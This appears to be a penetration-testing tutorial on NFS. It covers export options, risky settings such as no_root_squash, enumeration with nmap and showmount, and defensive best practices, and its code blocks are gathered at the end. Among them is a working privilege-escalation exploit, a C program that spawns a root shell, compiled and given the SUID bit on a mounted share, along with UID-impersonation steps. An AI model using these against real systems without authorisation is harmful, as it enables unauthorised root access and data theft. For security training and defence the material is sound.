Network File System (NFS) is a distributed file system protocol that allows users to access files and directories on remote servers as if they were local. Originally developed by Sun Microsystems, NFS is primarily used in Unix/Linux environments and can be easier to configure than Samba.
Basic Concepts
NFS typically operates on port 2049 and uses the Remote Procedure Call (RPC) protocol to facilitate communication between clients and servers.
Key Features of NFS
Transparent file access across networks
Centralized storage and management
Support for multiple clients
Stateless protocol (up to NFSv3)
Stateful protocol (from NFSv4)
Server Configuration
The main configuration file for NFS servers is /etc/exports. This file defines which directories are shared, to which hosts, and with what permissions.
Maps root user requests to anonymous user (default)
no_root_squash
Allows root access (security risk)
all_squash
Maps all users to anonymous user
Dangerous NFS Configurations
Some NFS settings can pose significant security risks:
Option
Security Risk
rw
Allows write access to the share
insecure
Permits use of unprivileged ports
nohide
Exposes mounted file systems beneath exported directories
no_root_squash
Files created by root keep UID/GID 0
Enumeration Techniques
Using Nmap
Example output:
Showing Available NFS Shares
Output:
Mounting NFS Shares
Once you've identified NFS shares, you can mount them to access their contents:
Example output:
Common Attack Vectors
UID/GID Mapping Attacks
NFS maps users by UID/GID numbers, not by usernames. This can lead to permission issues or security vulnerabilities.
Example attack scenario:
Attacker identifies a share with no_root_squash
Attacker creates a local user with the same UID as a target user on the server
Attacker mounts the share and can access files with that user's privileges
Sensitive Information Exposure
NFS shares often contain sensitive information:
SSH keys
Configuration files with credentials
Backup files
User data
Remote Command Execution via NFS
If no_root_squash is set, an attacker can:
Mount the NFS share
Create a malicious SUID binary
Execute the binary on the target system to gain elevated privileges
Defensive Measures
Secure NFS Configuration Best Practices
Restrict exports: Limit shared directories to specific IP addresses
Use read-only mounts: When possible, use ro instead of rw
Enable root_squash: Prevent remote root access
Implement firewalls: Restrict NFS access to trusted networks
Use NFS v4: Improved security over earlier versions
Use Kerberos: Implement strong authentication
Regular auditing: Monitor shares for unauthorized access
NFS Penetration Testing Methodology
When testing NFS, follow these steps:
Discovery: Identify NFS services with port scanning
Enumeration: List available shares with showmount
Access Testing: Mount shares and test permissions
Privilege Analysis: Check for misconfigured settings like no_root_squash
Data Assessment: Review exposed data for sensitive information
Exploitation: Test applicable vulnerabilities
Documentation: Report findings and recommendations
Practical Examples
Finding World-Readable Files on NFS Shares
Identifying Misconfigured Permissions
Automating NFS Enumeration
By thoroughly understanding NFS services and their security implications, penetration testers can effectively identify and exploit misconfigurations in these systems.
PORT STATE SERVICE VERSION
2049/tcp open nfs 2-4 (RPC #100003)
| nfs-showmount:
|_ /mnt/nfs 10.129.14.0/24
showmount -e 10.129.14.128
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24
# Create a mount point
mkdir target-NFS
# Mount the NFS share
sudo mount -t nfs 10.129.14.128:/mnt/nfs ./target-NFS/ -o nolock
# List the contents
cd target-NFS
ls -la
tree .
# Check file ownership on mounted share
ls -la
# Create matching user on attacker system
sudo useradd -u 1000 victimuser
# Access files with matched UID
sudo -u victimuser ls -la /mnt/target-NFS/
# Create malicious SUID binary
cat << EOF > /tmp/root.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
# Compile and set SUID bit on NFS mount
gcc /tmp/root.c -o /mnt/target-NFS/root
chmod u+s /mnt/target-NFS/root
find /mnt/target-NFS -type f -perm -o=r
# Find SUID files
find /mnt/target-NFS -perm -4000 -ls
# Find files writable by current user
find /mnt/target-NFS -writable -type f
for ip in $(cat targets.txt); do
echo "Checking $ip"
showmount -e $ip 2>/dev/null
done